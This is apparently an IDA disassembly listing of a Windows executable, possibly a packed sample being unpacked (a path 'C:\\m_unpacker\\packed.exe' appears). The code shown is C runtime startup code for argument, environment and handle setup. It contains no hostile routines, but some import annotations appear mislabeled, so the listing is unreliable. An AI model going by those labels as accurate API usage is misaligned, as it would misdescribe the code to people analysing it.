		push	edx
		lea	eax, [ebp+8Ch+arg_0]
		push	eax
		lea	esi, off_407044[esi]
		push	dword ptr [esi]
		call	sub_402680
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_405078	; GetStdHandle
		push	eax
		call	ds:dword_405004	; WriteFile

loc_401A57:				; CODE XREF: sub_4018FC+40j
					; sub_4018FC+6Bj ...
		lea	esp, [ebp-8Ch]
		mov	ecx, [ebp+8Ch+var_4]
		call	sub_40124E
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 8Ch
		leave
		retn
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401A73	proc near		; CODE XREF: sub_40125C+9p
					; .text:0040135Cp
		mov	eax, dword_4072A8
		cmp	eax, 1
		jz	short loc_401A8A
		test	eax, eax
		jnz	short locret_401AAB
		cmp	dword_407038, 1
		jnz	short locret_401AAB

loc_401A8A:				; CODE XREF: sub_401A73+8j
		push	0FCh
		call	sub_4018FC
		mov	eax, dword_407300
		test	eax, eax
		pop	ecx
		jz	short loc_401AA0
		call	eax

loc_401AA0:				; CODE XREF: sub_401A73+29j
		push	0FFh
		call	sub_4018FC
		pop	ecx

locret_401AAB:				; CODE XREF: sub_401A73+Cj
					; sub_401A73+15j
		retn
sub_401A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AAC	proc near		; CODE XREF: sub_401423+Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, dword_407158
		push	ebx
		mov	ecx, offset dword_4070D8
		push	esi

loc_401ABE:				; CODE XREF: sub_401AAC+25j
		cmp	[ecx], edx
		jz	short loc_401AD3
		lea	esi, [eax+eax*2]
		add	ecx, 0Ch
		lea	esi, ds:4070D8h[esi*4]
		cmp	ecx, esi
		jb	short loc_401ABE

loc_401AD3:				; CODE XREF: sub_401AAC+14j
		lea	eax, [eax+eax*2]
		lea	eax, ds:4070D8h[eax*4]
		cmp	ecx, eax
		jnb	short loc_401AE5
		cmp	[ecx], edx
		jz	short loc_401AE7

loc_401AE5:				; CODE XREF: sub_401AAC+33j
		xor	ecx, ecx

loc_401AE7:				; CODE XREF: sub_401AAC+37j
		test	ecx, ecx
		jz	loc_401C10
		mov	ebx, [ecx+8]
		test	ebx, ebx
		jz	loc_401C10
		cmp	ebx, 5
		jnz	short loc_401B0B
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_401C19
; ---------------------------------------------------------------------------

loc_401B0B:				; CODE XREF: sub_401AAC+51j
		cmp	ebx, 1
		jz	loc_401C0B
		mov	eax, dword_407304
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		mov	dword_407304, eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_401BFB
		mov	eax, dword_407150
		mov	edx, dword_407154
		add	edx, eax
		cmp	eax, edx
		jge	short loc_401B56
		lea	esi, [eax+eax*2]
		lea	esi, ds:4070E0h[esi*4]
		sub	edx, eax

loc_401B4D:				; CODE XREF: sub_401AAC+A8j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_401B4D

loc_401B56:				; CODE XREF: sub_401AAC+93j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	esi, dword_40715C
		jnz	short loc_401B72
		mov	dword_40715C, 83h
		jmp	short loc_401BE8
; ---------------------------------------------------------------------------

loc_401B72:				; CODE XREF: sub_401AAC+B8j
		cmp	ecx, 0C0000090h
		jnz	short loc_401B86
		mov	dword_40715C, 81h
		jmp	short loc_401BE8
; ---------------------------------------------------------------------------

loc_401B86:				; CODE XREF: sub_401AAC+CCj
		cmp	ecx, 0C0000091h
		jnz	short loc_401B9A
		mov	dword_40715C, 84h
		jmp	short loc_401BE8
; ---------------------------------------------------------------------------

loc_401B9A:				; CODE XREF: sub_401AAC+E0j
		cmp	ecx, 0C0000093h
		jnz	short loc_401BAE
		mov	dword_40715C, 85h
		jmp	short loc_401BE8
; ---------------------------------------------------------------------------

loc_401BAE:				; CODE XREF: sub_401AAC+F4j
		cmp	ecx, 0C000008Dh
		jnz	short loc_401BC2
		mov	dword_40715C, 82h
		jmp	short loc_401BE8
; ---------------------------------------------------------------------------

loc_401BC2:				; CODE XREF: sub_401AAC+108j
		cmp	ecx, 0C000008Fh
		jnz	short loc_401BD6
		mov	dword_40715C, 86h
		jmp	short loc_401BE8
; ---------------------------------------------------------------------------

loc_401BD6:				; CODE XREF: sub_401AAC+11Cj
		cmp	ecx, 0C0000092h
		jnz	short loc_401BE8
		mov	dword_40715C, 8Ah

loc_401BE8:				; CODE XREF: sub_401AAC+C4j
					; sub_401AAC+D8j ...
		push	dword_40715C
		push	8
		call	ebx
		pop	ecx
		mov	dword_40715C, esi
		jmp	short loc_401C02
; ---------------------------------------------------------------------------

loc_401BFB:				; CODE XREF: sub_401AAC+7Ej
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx

loc_401C02:				; CODE XREF: sub_401AAC+14Dj
		mov	eax, [ebp+arg_0]
		pop	ecx
		mov	dword_407304, eax

loc_401C0B:				; CODE XREF: sub_401AAC+62j
		or	eax, 0FFFFFFFFh
		jmp	short loc_401C19
; ---------------------------------------------------------------------------

loc_401C10:				; CODE XREF: sub_401AAC+3Dj
					; sub_401AAC+48j
		push	[ebp+arg_4]
		call	ds:dword_40507C	; UnhandledExceptionFilter

loc_401C19:				; CODE XREF: sub_401AAC+5Aj
					; sub_401AAC+162j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401AAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C1D	proc near		; CODE XREF: .text:004013E7p
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_40782C, edi
		jnz	short loc_401C2E
		call	sub_402EED

loc_401C2E:				; CODE XREF: sub_401C1D+Aj
		mov	esi, dword_407834
		test	esi, esi
		jnz	short loc_401C3D
		mov	esi, offset word_405752

loc_401C3D:				; CODE XREF: sub_401C1D+19j
					; sub_401C1D+4Bj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_401C4B
		test	al, al
		jz	short loc_401C75
		test	edi, edi
		jz	short loc_401C6F

loc_401C4B:				; CODE XREF: sub_401C1D+24j
		cmp	al, 22h
		jnz	short loc_401C58
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx

loc_401C58:				; CODE XREF: sub_401C1D+30j
		movzx	eax, al
		push	eax
		call	sub_402B12
		test	eax, eax
		pop	ecx
		jz	short loc_401C67
		inc	esi

loc_401C67:				; CODE XREF: sub_401C1D+47j
		inc	esi
		jmp	short loc_401C3D
; ---------------------------------------------------------------------------

loc_401C6A:				; CODE XREF: sub_401C1D+56j
		cmp	al, 20h
		ja	short loc_401C75
		inc	esi

loc_401C6F:				; CODE XREF: sub_401C1D+2Cj
		mov	al, [esi]
		test	al, al
		jnz	short loc_401C6A

loc_401C75:				; CODE XREF: sub_401C1D+28j
					; sub_401C1D+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_401C1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C7A	proc near		; CODE XREF: .text:loc_4013B3p
		push	ebx
		xor	ebx, ebx
		cmp	dword_40782C, ebx
		push	esi
		push	edi
		jnz	short loc_401C8C
		call	sub_402EED

loc_401C8C:				; CODE XREF: sub_401C7A+Bj
		mov	esi, dword_4072A0
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_401CAA
		jmp	short loc_401CCA
; ---------------------------------------------------------------------------

loc_401C9A:				; CODE XREF: sub_401C7A+34j
		cmp	al, 3Dh
		jz	short loc_401C9F
		inc	edi

loc_401C9F:				; CODE XREF: sub_401C7A+22j
		push	esi
		call	sub_402680
		pop	ecx
		lea	esi, [esi+eax+1]

loc_401CAA:				; CODE XREF: sub_401C7A+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_401C9A
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_402FB5
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	dword_4072DC, edi
		jnz	short loc_401CCF

loc_401CCA:				; CODE XREF: sub_401C7A+1Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_401D27
; ---------------------------------------------------------------------------

loc_401CCF:				; CODE XREF: sub_401C7A+4Ej
		mov	esi, dword_4072A0
		push	ebp
		jmp	short loc_401D02
; ---------------------------------------------------------------------------

loc_401CD8:				; CODE XREF: sub_401C7A+8Aj
		push	esi
		call	sub_402680
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_401D00
		push	ebp
		call	sub_402FB5
		cmp	eax, ebx
		pop	ecx
		mov	[edi], eax
		jz	short loc_401D2B
		push	esi
		push	eax
		call	sub_402450
		pop	ecx
		pop	ecx
		add	edi, 4

loc_401D00:				; CODE XREF: sub_401C7A+6Bj
		add	esi, ebp

loc_401D02:				; CODE XREF: sub_401C7A+5Cj
		cmp	[esi], bl
		jnz	short loc_401CD8
		push	dword_4072A0
		call	sub_402F0B
		mov	dword_4072A0, ebx
		mov	[edi], ebx
		mov	dword_407820, 1
		xor	eax, eax

loc_401D25:				; CODE XREF: sub_401C7A+C5j
		pop	ecx
		pop	ebp

loc_401D27:				; CODE XREF: sub_401C7A+53j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_401D2B:				; CODE XREF: sub_401C7A+78j
		push	dword_4072DC
		call	sub_402F0B
		mov	dword_4072DC, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_401D25
sub_401C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D41	proc near		; CODE XREF: sub_401EAD+54p
					; sub_401EAD+85p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_401D64
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi

loc_401D64:				; CODE XREF: sub_401D41+18j
					; sub_401D41+65j ...
		cmp	byte ptr [eax],	22h
		jnz	short loc_401D77
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_401DA4
; ---------------------------------------------------------------------------

loc_401D77:				; CODE XREF: sub_401D41+26j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_401D82
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi

loc_401D82:				; CODE XREF: sub_401D41+3Aj
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	byte_4074E1[ebx], 4
		jz	short loc_401D9D
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_401D9C
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi

loc_401D9C:				; CODE XREF: sub_401D41+54j
		inc	eax

loc_401D9D:				; CODE XREF: sub_401D41+4Ej
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	short loc_401DD6

loc_401DA4:				; CODE XREF: sub_401D41+34j
		test	edx, edx
		jnz	short loc_401D64
		cmp	cl, 20h
		jz	short loc_401DB2
		cmp	cl, 9
		jnz	short loc_401D64

loc_401DB2:				; CODE XREF: sub_401D41+6Aj
		test	edi, edi
		jz	short loc_401DBA
		mov	byte ptr [edi-1], 0

loc_401DBA:				; CODE XREF: sub_401D41+73j
					; sub_401D41+96j
		and	[ebp+var_4], 0

loc_401DBE:				; CODE XREF: sub_401D41+157j
		cmp	byte ptr [eax],	0
		jz	loc_401E9D

loc_401DC7:				; CODE XREF: sub_401D41+93j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_401DD3
		cmp	cl, 9
		jnz	short loc_401DD9

loc_401DD3:				; CODE XREF: sub_401D41+8Bj
		inc	eax
		jmp	short loc_401DC7
; ---------------------------------------------------------------------------

loc_401DD6:				; CODE XREF: sub_401D41+61j
		dec	eax
		jmp	short loc_401DBA
; ---------------------------------------------------------------------------

loc_401DD9:				; CODE XREF: sub_401D41+90j
		cmp	byte ptr [eax],	0
		jz	loc_401E9D
		cmp	[ebp+arg_0], 0
		jz	short loc_401DF1
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi

loc_401DF1:				; CODE XREF: sub_401D41+A5j
		inc	dword ptr [ebx]

loc_401DF3:				; CODE XREF: sub_401D41+145j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_401DFC
; ---------------------------------------------------------------------------

loc_401DFA:				; CODE XREF: sub_401D41+BEj
		inc	eax
		inc	edx

loc_401DFC:				; CODE XREF: sub_401D41+B7j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_401DFA
		cmp	byte ptr [eax],	22h
		jnz	short loc_401E2C
		test	dl, 1
		jnz	short loc_401E2A
		cmp	[ebp+var_4], 0
		jz	short loc_401E1D
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_401E1D
		mov	eax, ecx
		jmp	short loc_401E1F
; ---------------------------------------------------------------------------

loc_401E1D:				; CODE XREF: sub_401D41+CEj
					; sub_401D41+D6j
		xor	ebx, ebx

loc_401E1F:				; CODE XREF: sub_401D41+DAj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx

loc_401E2A:				; CODE XREF: sub_401D41+C8j
		shr	edx, 1

loc_401E2C:				; CODE XREF: sub_401D41+C3j
		test	edx, edx
		jz	short loc_401E3D

loc_401E30:				; CODE XREF: sub_401D41+FAj
		test	edi, edi
		jz	short loc_401E38
		mov	byte ptr [edi],	5Ch
		inc	edi

loc_401E38:				; CODE XREF: sub_401D41+F1j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_401E30

loc_401E3D:				; CODE XREF: sub_401D41+EDj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_401E8B
		cmp	[ebp+var_4], 0
		jnz	short loc_401E53
		cmp	cl, 20h
		jz	short loc_401E8B
		cmp	cl, 9
		jz	short loc_401E8B

loc_401E53:				; CODE XREF: sub_401D41+106j
		test	ebx, ebx
		jz	short loc_401E85
		test	edi, edi
		jz	short loc_401E74
		movzx	edx, cl
		test	byte_4074E1[edx], 4
		jz	short loc_401E6D
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]

loc_401E6D:				; CODE XREF: sub_401D41+124j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_401E83
; ---------------------------------------------------------------------------

loc_401E74:				; CODE XREF: sub_401D41+118j
		movzx	ecx, cl
		test	byte_4074E1[ecx], 4
		jz	short loc_401E83
		inc	eax
		inc	dword ptr [esi]

loc_401E83:				; CODE XREF: sub_401D41+131j
					; sub_401D41+13Dj
		inc	dword ptr [esi]

loc_401E85:				; CODE XREF: sub_401D41+114j
		inc	eax
		jmp	loc_401DF3
; ---------------------------------------------------------------------------

loc_401E8B:				; CODE XREF: sub_401D41+100j
					; sub_401D41+10Bj ...
		test	edi, edi
		jz	short loc_401E93
		mov	byte ptr [edi],	0
		inc	edi

loc_401E93:				; CODE XREF: sub_401D41+14Cj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_401DBE
; ---------------------------------------------------------------------------

loc_401E9D:				; CODE XREF: sub_401D41+80j
					; sub_401D41+9Bj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_401EA7
		and	dword ptr [eax], 0

loc_401EA7:				; CODE XREF: sub_401D41+161j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
sub_401D41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EAD	proc near		; CODE XREF: .text:004013A2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_40782C, edi
		jnz	short loc_401EC4
		call	sub_402EED

loc_401EC4:				; CODE XREF: sub_401EAD+10j
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	edi
		mov	byte_40740C, 0
		call	ds:dword_40503C	; GetModuleFileNameA
		mov	eax, dword_407834
		cmp	eax, edi
		mov	off_4072EC, esi
		jz	short loc_401EF3
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jnz	short loc_401EF5

loc_401EF3:				; CODE XREF: sub_401EAD+3Dj
		mov	ebx, esi

loc_401EF5:				; CODE XREF: sub_401EAD+44j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_401D41
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		shl	esi, 2
		add	eax, esi
		push	eax
		call	sub_402FB5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_401F25
		or	eax, 0FFFFFFFFh
		jmp	short loc_401F4A
; ---------------------------------------------------------------------------

loc_401F25:				; CODE XREF: sub_401EAD+71j
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_401D41
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	dword_4072D0, eax
		pop	ecx
		mov	dword_4072D4, edi
		xor	eax, eax

loc_401F4A:				; CODE XREF: sub_401EAD+76j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401EAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F4F	proc near		; CODE XREF: .text:00401398p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_407410
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_405094
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_401F98
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_401F7F
		mov	dword_407410, 1
		jmp	short loc_401F9D
; ---------------------------------------------------------------------------

loc_401F7F:				; CODE XREF: sub_401F4F+22j
		call	ds:dword_405090	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_401F93
		mov	eax, ebp
		mov	dword_407410, eax
		jmp	short loc_401F98
; ---------------------------------------------------------------------------

loc_401F93:				; CODE XREF: sub_401F4F+39j
		mov	eax, dword_407410

loc_401F98:				; CODE XREF: sub_401F4F+1Aj
					; sub_401F4F+42j
		cmp	eax, 1
		jnz	short loc_40201A

loc_401F9D:				; CODE XREF: sub_401F4F+2Ej
		cmp	esi, ebx
		jnz	short loc_401FA9
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402022

loc_401FA9:				; CODE XREF: sub_401F4F+50j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_401FBE

loc_401FB0:				; CODE XREF: sub_401F4F+66j
					; sub_401F4F+6Dj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_401FB0
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_401FB0

loc_401FBE:				; CODE XREF: sub_401F4F+5Fj
		mov	edi, ds:dword_40508C
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_40200F
		push	ebp
		call	sub_402FB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_40200F
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_40200B
		push	[esp+18h+var_8]
		call	sub_402F0B
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_40200B:				; CODE XREF: sub_401F4F+ACj
		mov	ebx, [esp+18h+var_8]

loc_40200F:				; CODE XREF: sub_401F4F+8Cj
					; sub_401F4F+9Bj
		push	esi
		call	ds:dword_405088	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_40206A
; ---------------------------------------------------------------------------

loc_40201A:				; CODE XREF: sub_401F4F+4Cj
		cmp	eax, ebp
		jz	short loc_402026
		cmp	eax, ebx
		jz	short loc_402026

loc_402022:				; CODE XREF: sub_401F4F+58j
					; sub_401F4F+E1j
		xor	eax, eax
		jmp	short loc_40206A
; ---------------------------------------------------------------------------

loc_402026:				; CODE XREF: sub_401F4F+CDj
					; sub_401F4F+D1j
		call	ds:dword_405084	; GetEnvironmentStrings
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402022
		cmp	[esi], bl
		jz	short loc_402040

loc_402036:				; CODE XREF: sub_401F4F+EAj
					; sub_401F4F+EFj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_402036
		inc	eax
		cmp	[eax], bl
		jnz	short loc_402036

loc_402040:				; CODE XREF: sub_401F4F+E5j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_402FB5
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_402056
		xor	edi, edi
		jmp	short loc_402061
; ---------------------------------------------------------------------------

loc_402056:				; CODE XREF: sub_401F4F+101j
		push	ebp
		push	esi
		push	edi
		call	sub_402FD0
		add	esp, 0Ch

loc_402061:				; CODE XREF: sub_401F4F+105j
		push	esi
		call	ds:dword_405080	; FreeEnvironmentStringsA
		mov	eax, edi

loc_40206A:				; CODE XREF: sub_401F4F+C9j
					; sub_401F4F+D5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_401F4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402071	proc near		; CODE XREF: .text:0040137Cp

var_44		= byte ptr -44h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 44h
		push	100h
		call	sub_402FB5
		test	eax, eax
		pop	ecx
		jnz	short loc_40208B
		or	eax, 0FFFFFFFFh
		jmp	loc_402218
; ---------------------------------------------------------------------------

loc_40208B:				; CODE XREF: sub_402071+10j
		mov	dword_407720, eax
		mov	dword_407708, 20h
		lea	ecx, [eax+100h]
		jmp	short loc_4020BC
; ---------------------------------------------------------------------------

loc_4020A2:				; CODE XREF: sub_402071+4Dj
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+4], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, dword_407720
		add	eax, 8
		add	ecx, 100h

loc_4020BC:				; CODE XREF: sub_402071+2Fj
		cmp	eax, ecx
		jb	short loc_4020A2
		push	ebx
		push	esi
		push	edi
		lea	eax, [esp+50h+var_44]
		push	eax
		call	ds:dword_405050	; GetStartupInfoA
		cmp	[esp+4Ch+var_E], 0
		jz	loc_4021A1
		mov	eax, [esp+4Ch+var_C]
		test	eax, eax
		jz	loc_4021A1
		mov	esi, [eax]
		push	ebp
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_4020FA
		mov	esi, eax

loc_4020FA:				; CODE XREF: sub_402071+85j
		cmp	dword_407708, esi
		jge	short loc_402154
		mov	edi, offset dword_407724

loc_402107:				; CODE XREF: sub_402071+D9j
		push	100h
		call	sub_402FB5
		test	eax, eax
		pop	ecx
		jz	short loc_40214E
		add	dword_407708, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]
		jmp	short loc_40213D
; ---------------------------------------------------------------------------

loc_402127:				; CODE XREF: sub_402071+CEj
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+4], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h

loc_40213D:				; CODE XREF: sub_402071+B4j
		cmp	eax, ecx
		jb	short loc_402127
		add	edi, 4
		cmp	dword_407708, esi
		jl	short loc_402107
		jmp	short loc_402154
; ---------------------------------------------------------------------------

loc_40214E:				; CODE XREF: sub_402071+A3j
		mov	esi, dword_407708

loc_402154:				; CODE XREF: sub_402071+8Fj
					; sub_402071+DBj
		xor	edi, edi
		test	esi, esi
		jle	short loc_4021A0

loc_40215A:				; CODE XREF: sub_402071+12Dj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402197
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_402197
		test	cl, 8
		jnz	short loc_402179
		push	eax
		call	ds:dword_40509C	; GetFileType
		test	eax, eax
		jz	short loc_402197

loc_402179:				; CODE XREF: sub_402071+FBj
		mov	eax, edi
		sar	eax, 5
		mov	eax, dword_407720[eax*4]
		mov	ecx, edi
		and	ecx, 1Fh
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_402197:				; CODE XREF: sub_402071+EEj
					; sub_402071+F6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_40215A

loc_4021A0:				; CODE XREF: sub_402071+E7j
		pop	ebp

loc_4021A1:				; CODE XREF: sub_402071+63j
					; sub_402071+6Fj
		xor	ebx, ebx

loc_4021A3:				; CODE XREF: sub_402071+194j
		mov	eax, dword_407720
		lea	esi, [eax+ebx*8]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_4021FD
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_4021BD
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_4021C7
; ---------------------------------------------------------------------------

loc_4021BD:				; CODE XREF: sub_402071+145j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_4021C7:				; CODE XREF: sub_402071+14Aj
		push	eax
		call	ds:dword_405078	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4021EC
		push	edi
		call	ds:dword_40509C	; GetFileType
		test	eax, eax
		jz	short loc_4021EC
		and	eax, 0FFh
		cmp	eax, 2
		mov	[esi], edi
		jnz	short loc_4021F2

loc_4021EC:				; CODE XREF: sub_402071+162j
					; sub_402071+16Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_402201
; ---------------------------------------------------------------------------

loc_4021F2:				; CODE XREF: sub_402071+179j
		cmp	eax, 3
		jnz	short loc_402201
		or	byte ptr [esi+4], 8
		jmp	short loc_402201
; ---------------------------------------------------------------------------

loc_4021FD:				; CODE XREF: sub_402071+13Dj
		or	byte ptr [esi+4], 80h

loc_402201:				; CODE XREF: sub_402071+17Fj
					; sub_402071+184j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_4021A3
		push	dword_407708
		call	ds:dword_405098	; LockResource
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

loc_402218:				; CODE XREF: sub_402071+15j
		add	esp, 44h
		retn
sub_402071	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40221C	proc near		; CODE XREF: .text:loc_401374p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_405758
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_405DEC

loc_40222F:				; CODE XREF: sub_40221C+3Cj
		cmp	[ebp+var_1C], offset dword_405DEC
		jnb	short loc_40225A
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_402250
		call	eax
		jmp	short loc_402250
; ---------------------------------------------------------------------------

loc_402249:				; DATA XREF: .rdata:stru_405758o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_40224D:				; DATA XREF: .rdata:stru_405758o
		mov	esp, [ebp+ms_exc.old_esp]

loc_402250:				; CODE XREF: sub_40221C+27j
					; sub_40221C+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_40222F
; ---------------------------------------------------------------------------

loc_40225A:				; CODE XREF: sub_40221C+1Aj
		call	__SEH_epilog
		retn
sub_40221C	endp

; ---------------------------------------------------------------------------

loc_402260:				; DATA XREF: sub_401761:loc_4017CCo
		push	0Ch
		push	offset stru_405768
		call	__SEH_prolog
		mov	dword ptr [ebp-1Ch], offset dword_405DF4
; START	OF FUNCTION CHUNK FOR sub_402291

loc_402273:				; CODE XREF: sub_402291+Bj
		cmp	dword ptr [ebp-1Ch], offset dword_405DF4
		jnb	short loc_40229E
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp-1Ch]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_402294
		call	eax
		jmp	short loc_402294
; END OF FUNCTION CHUNK	FOR sub_402291

; =============== S U B	R O U T	I N E =======================================



sub_40228D	proc near		; DATA XREF: .rdata:stru_405768o
		xor	eax, eax
		inc	eax
		retn
sub_40228D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402291	proc near		; DATA XREF: .rdata:stru_405768o

; FUNCTION CHUNK AT 00402273 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040229E SIZE 00000006 BYTES

		mov	esp, [ebp-18h]

